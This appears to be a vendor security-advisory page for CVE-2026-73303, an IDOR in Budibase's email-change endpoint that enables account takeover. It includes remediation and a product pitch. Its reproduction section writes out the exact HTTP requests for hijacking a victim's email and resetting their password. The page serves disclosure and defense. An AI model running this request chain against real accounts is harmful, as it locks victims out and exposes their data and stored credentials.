CVE-2026-73303
CVE-2026-73303 is a CWE-639 vulnerability in @budibase/server. O3 Security confirms whether CVE-2026-73303 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Budibase: Email Change IDOR via POST /api/v2/email allows full Account Takeover (accountId not validated against session)
Exploitation Status
No confirmed exploitation observed yet
- A successful exploit gives an attacker total control of the affected component, not partial access.
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-73303.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
@budibase/servernpmDescription
Summary
POST /api/v2/email on the account portal (account.budibase.app) starts an email-change workflow using a client-supplied accountId that is not validated against the authenticated session. A logged-in attacker supplies a victim's accountId and an email address they control; the verification code is delivered to the attacker's address, and completing the workflow changes the victim's account email. The attacker then password-resets the victim's account through the controlled address and logs in — full account takeover with no victim interaction.
Vulnerability Details
The endpoint session-checks the currentEmail field (a mismatch returns 403), but it does not enforce body.accountId === session.accountId. The account-portal frontend only ever submits the logged-in user's own accountId, so in normal use the two always match — the server simply trusts the body value. An attacker who has a victim's accountId can point the workflow at the victim's account while passing their own currentEmail to clear the session check.
This is more powerful than a direct password reset: PUT /api/v2/auth/password {email} already exists and is gated only on knowing the victim's email, but the reset link is sent to the address on the account — the victim's inbox, which the attacker does not control. This IDOR moves the victim's email to an attacker-controlled inbox first, so the attacker receives the reset link and sets a password they know.
accountId obtainability. We checked every endpoint reachable from a non-admin free-tier account — GET /api/global/users (no UUID in any user record), GET /api/global/auditlogs/search (no accountId field), GET /api/global/users/invites (code + email + name only), GET /api/v2/tenant (one tenant-internal UUID, not a user accountId), the account-portal frontend (passes the session's own accountId only), and all unauthenticated endpoints — and the victim's accountId was not present in any of them. The attacker must obtain the UUID through some channel other than the normal API surface (support channel, screenshot, a leak, prior compromise, etc.).
Steps to Reproduce
Setup: Two account-portal accounts at https://account.budibase.app — Account A (attacker) and Account B (victim). From Account B's session, GET /api/auth/self returns account.accountId — this is the value the attacker needs.
- Start the email-change workflow pointed at the victim's accountId, newEmail = attacker-controlled.
POST /api/v2/email HTTP/1.1
Host: account.budibase.app
Content-Type: application/json
Cookie: budibase:auth=<ACCOUNT_A_JWT>
{"currentEmail":"<ACCOUNT_A_EMAIL>","newEmail":"[email protected]","accountId":"<VICTIM_ACCOUNT_ID>"}
Response: 201 Created, sets budibase:change_email:correlationkey (HttpOnly), :instancekey, :status, :newemail cookies. The workflow started against the victim's accountId even though the caller is Account A.
- Complete the change with the code from the attacker-controlled inbox (or read directly from the
correlationkeycookie set in step 1).
POST /api/v2/email/verification HTTP/1.1
Host: account.budibase.app
Content-Type: application/json
Cookie: budibase:auth=<ACCOUNT_A_JWT>; budibase:change_email:correlationkey=<CODE>; budibase:change_email:instancekey=<KEY>
{"verificationCode":"<code>","processInstanceKey":"<key>"}
Response: 200 OK. The victim's account email is now [email protected].
- Confirm the change hit the victim, not the caller (false-positive control).
- Account A (caller) still logs in with its own original email — 200, unchanged.
- Account B's (victim) original email is now rejected — 403, locked out.
[email protected]now logs into the victim's account — 200.
- Take over the account.
PUT /api/v2/auth/password HTTP/1.1
Host: account.budibase.app
Content-Type: application/json
{"email":"[email protected]"}
Response: 202 Accepted, reset link delivered to the attacker's own inbox. Complete the reset with PUT /api/v2/auth/password/verification, then log in as the victim with the attacker-chosen password. GET /api/auth/self afterward returns the victim's real accountId and tenantId — full account takeover, confirmed via a genuinely separate account/tenant (not a same-account self-test).
Impact
An authenticated account-portal user who obtains a victim's accountId (out-of-band — it is not exposed anywhere in the normal cross-user API surface we could find) can take over that victim's account: rewrite the login email to an attacker address, set a new password, and access the victim's tenants, apps, and stored datasource credentials (REST/SQL/S3 auth). The victim is locked out of their own account. Every step from the initial IDOR write to full login-as-victim is deterministic and 100% reliable once the accountId is known — no additional vulnerability or guessing is required, since the chain uses nothing but the platform's own stock password-reset flow.
Remediation
Validate that the body's accountId equals the authenticated session's accountId before starting or completing the email-change workflow (the same check already applied to currentEmail). Do not trust a client-supplied accountId to select the workflow target.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | @budibase/server | all versions | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @budibase/server. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Remediation status
No patched version of @budibase/server has shipped for CVE-2026-73303 yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether CVE-2026-73303 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to CVE-2026-73303. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-73303 in your dependencies?
O3 detects CVE-2026-73303 across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.